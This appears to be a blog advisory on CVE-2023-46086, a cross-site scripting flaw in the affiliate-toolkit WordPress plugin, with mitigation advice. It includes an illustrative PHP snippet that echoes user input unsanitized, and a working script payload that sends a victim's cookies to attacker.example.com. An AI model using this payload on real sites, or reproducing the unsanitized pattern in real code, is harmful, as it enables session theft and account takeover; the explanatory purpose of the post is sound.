A Cross-site Scripting (XSS) vulnerability has been discovered in the SERVIT Software Solutions' affiliate-toolkit – WordPress Affiliate Plugin. The vulnerability has an identification number CVE-2023-46086 and affects the plugin versions from n/a through 3.4.3. This critical security issue allows attackers to inject malicious scripts into web pages viewed by other users, potentially leading to data such as login credentials and personal information being compromised. In this blog post, we will discuss the nature of this vulnerability, analyze it by providing a code snippet, and offer suggestions about how to mitigate its potential impact.
According to the CVE data, this vulnerability affects the following versions of the plugin
- affiliate-toolkit – WordPress Affiliate Plugin: from n/a through 3.4.3
How the Vulnerability Works
The vulnerability exists in the plugin due to its improper neutralization of input during web page generation. In essence, it does not properly sanitize user input before inserting it into the HTML code. This opens the door for attackers to inject their code as part of the web page's content. When other users visit this page, their browser will execute the attacker's code.
The following code snippet illustrates this vulnerability
$search = $_GET['q']; // User input is accepted as a query parameter
echo('<h1>Search Results for "' . $search . '"</h1>'); // User input is directly inserted into the HTML content
In this example, the user's input is directly inserted into the HTML content without any sanitization. An attacker could use this vulnerability to their advantage by providing a link containing malicious code to an unsuspecting user:
http://victim.example.com/?q=<script>/* Malicious JavaScript code here */</script>
If the user visits this link, their browser will execute the malicious code.
Original References
The vulnerability details were initially reported by various security researchers and can be found at the following links:
- CVE-2023-46086 – National Vulnerability Database (NVD)
- Security Advisory - SERVIT Software Solutions
Exploit Details
An attacker can exploit this vulnerability by crafting a malicious URL containing the script they want to execute. They can then share this URL with other users, tricking them into clicking it. When the user clicks the URL, the attacker's script will run on the user's browser, allowing them to steal sensitive information such as login credentials and personal data.
The attacker crafts a malicious URL containing their desired Payload
http://victim.example.com/?q=<script>document.location='http://attacker.example.com/steal.php?cookie='+document.cookie;</script>;
The attacker lures a user into clicking the URL (through phishing, email, social engineering, etc.).
3. The user's browser will execute the malicious script, which will send the user's WordPress authentication cookies to the attacker's website.
4. The attacker can now use the stolen cookies to impersonate the victim, gaining unauthorized access to their WordPress account.
How to Mitigate the Vulnerability
To mitigate this vulnerability, the plugin developers must release a patch addressing the issue of improper neutralization of input during web page generation. As a user, you should always ensure you are running the latest version of the affiliate-toolkit WordPress plugin and update it immediately once a patch has been made available to fix this issue.
In the meantime, website administrators should consider disabling the vulnerable plugin until a patch is released. Additionally, users should exercise caution when clicking on links from untrusted sources.
Conclusion
CVE-2023-46086 is a critical Cross-site Scripting (XSS) vulnerability affecting the SERVIT Software Solutions affiliate-toolkit – WordPress Affiliate Plugin. Through proper input sanitization and patching of the affected plugin, the risks associated with this vulnerability can be significantly reduced.
Remember always to keep your plugins up-to-date and be cautious when clicking on links from untrusted sources, as these actions will help protect your website and its users from potential security threats.
Timeline
Published on: 11/30/2023 16:15:10 UTC
Last modified on: 12/06/2023 00:39:07 UTC